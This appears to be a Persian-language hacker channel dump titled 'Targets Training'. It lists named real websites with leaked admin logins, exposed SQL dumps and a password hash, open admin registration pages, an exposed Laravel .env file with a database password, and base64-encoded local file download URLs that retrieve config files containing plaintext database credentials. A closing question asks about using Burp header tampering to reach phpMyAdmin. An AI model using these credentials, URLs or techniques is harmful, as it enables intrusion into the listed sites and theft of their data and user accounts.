Targets Training

[SH0CK]

با تشکر از شما استاد گرامی

[SafeMaster]

admin Login

http://aletkan.sa/admin

[email protected]:123456

[SafeMaster]

DB + user pass

http://www.fotocollection.dk/DB/vsigroup2010_fotocollection.sql

INSERT INTO `xfk69s_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(2, 'superman', '$P$BBJQcigzeB/fYjvWGFK1CMnaNiMSXR.', 'admin', '[email protected]', '', '2011-03-03 09:00:16', '', 0, 'admin');

[SafeMaster]

SQL

https://rehapp-test.dk/udv_carex/sql/udv_org_person_2017-11-20.sql

[SafeMaster]

SQL Backup

http://p3technology.in/harish/vta_backoffice%20%282%29.sql

[SafeMaster]

SQL Backup

https://saukaryam.in/exam/examination%20%282%29.sql

https://staging.teks.co.in/debartha/admins(3).sql

[SafeMaster]

Admin Register

https://digiclass.org.in/admin

https://digiclass.org.in/admin/register.php

[SafeMaster]

admin Register

https://freeappcreator.in/admin/

https://freeappcreator.in/admin/register.php

[SafeMaster]

File Upload

http://hcbi.org//rte/RTE_popup_file_atch.asp

[SafeMaster]

Dotenv .env file

https://biramangolcollege.edu.in/.env

APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:N8kJPB7euxlr1OdpHhkv1r6n89yeIlTbXQP UJ48DHpI=
APP_DEBUG=true
APP_URL=https://biramangolcollege.edu.in
ASSET_URL=/public

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=biramangolcollege_website
DB_USERNAME=biramangolcollege_dm1
DB_PASSWORD=nWCmGQM!y5n

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=null
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

[SafeMaster]

Admin Login

https://www.iaudit.co.in/admin/

admin
admin123

[SafeMaster]

WordPress debug mode

https://removal.ai/wp-content/debug.log

Yo Can Get Information About Target Like user Path and files in Debug Mode

[10-Mar-2022 03:18:49 UTC] Hihi
[10-Mar-2022 03:18:51 UTC] PHP Notice: Undefined variable: _REQUEST in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] PHP Notice: Undefined variable: _REQUEST in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] PHP Notice: Undefined variable: _REQUEST in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:51 UTC] Hihi
[10-Mar-2022 03:18:52 UTC] PHP Notice: Undefined variable: _REQUEST in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:52 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:52 UTC] PHP Notice: Undefined variable: _REQUEST in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request-analyze.php on line 29
[10-Mar-2022 03:18:52 UTC] PHP Warning: array_key_exists() expects parameter 2 to be array, null given in /var/www/html/wp-content/plugins/sitepress-multilingual-cms/classes/request-handling/class-wpml-rest-request

[SafeMaster]

LFD File Download

https://www.unmacollege.in/download.php?file=aW5kZXgucGhw

file name encode to base 64

index.php = aW5kZXgucGhw

download.php = ZG93bmxvYWQucGhw

try with this site

https://www.base64encode.org

[SafeMaster]

Local File Download With Base 64 Encode

config : controllers/Database.php

Base64 = Y29udHJvbGxlcnMvRGF0YWJhc2UucGhw

http://civilguru.in/download.php?name=Y29udHJvbGxlcnMvRGF0YWJhc2UucGhw

download as pdf file / edit file with notepad to show data

<?php
class Database
{
private static $dbName = "civilguru_db";
private static $dbHost = "localhost";
private static $dbUsername = "civilguru_db2";
private static $dbUserPassword = "Civil@0987&";

/*private static $dbUsername = "civilguru_db";
private static $dbUserPassword = "Civil@98765%";*/
/*private static $dbUsername = "CivilUsr";
private static $dbUserPassword = "Civ@123#";*/

private static $conn = null;

public function __construct()
{
die("Init function is not allowed");
}

public static function connect()
{
// One connection through whole application
if ( null == self::$conn )
{
try
{
self::$conn = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$d bName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$conn;
}

public static function disconnect()
{
self::$conn = null;
}
}
?>

[Mr.Falcon]

Local File Download With Base 64 Encode

config : controllers/Database.php

Base64 = Y29udHJvbGxlcnMvRGF0YWJhc2UucGhw

http://civilguru.in/download.php?name=Y29udHJvbGxlcnMvRGF0YWJhc2UucGhw

download as pdf file / edit file with notepad to show data

<?php
class Database
{
private static $dbName = "civilguru_db";
private static $dbHost = "localhost";
private static $dbUsername = "civilguru_db2";
private static $dbUserPassword = "Civil@0987&";

/*private static $dbUsername = "civilguru_db";
private static $dbUserPassword = "Civil@98765%";*/
/*private static $dbUsername = "CivilUsr";
private static $dbUserPassword = "Civ@123#";*/

private static $conn = null;

public function __construct()
{
die("Init function is not allowed");
}

public static function connect()
{
// One connection through whole application
if ( null == self::$conn )
{
try
{
self::$conn = new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$d bName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$conn;
}

public static function disconnect()
{
self::$conn = null;
}
}
?>

سلام مرسی از زحمت هایی که میکشید
یه سوالی که شاید مسخره بیاد برام اینکه الان phpmyadmin این سایت به گفته خودش از طریق کنترل پنل ادمین در دسترسه الان یعنی ترافیکی که از پنل ادمین فوروارد شده میتونه دسترسی پیدا کنه؟ یعنی میشه با براپ هدر رو جوری دستکاری کرد که فکر کنه از پنل ادمین درخواست بهش ارسال شده؟ یا این متنش الکیه و فقط با آیپی ادمین میشه دسترسی پیدا کرد؟ بعد در این موارد میشه با phpmyadmin سایتی که با همینجور سایتا رو یه سروره لاگین شد؟ یا نمیشه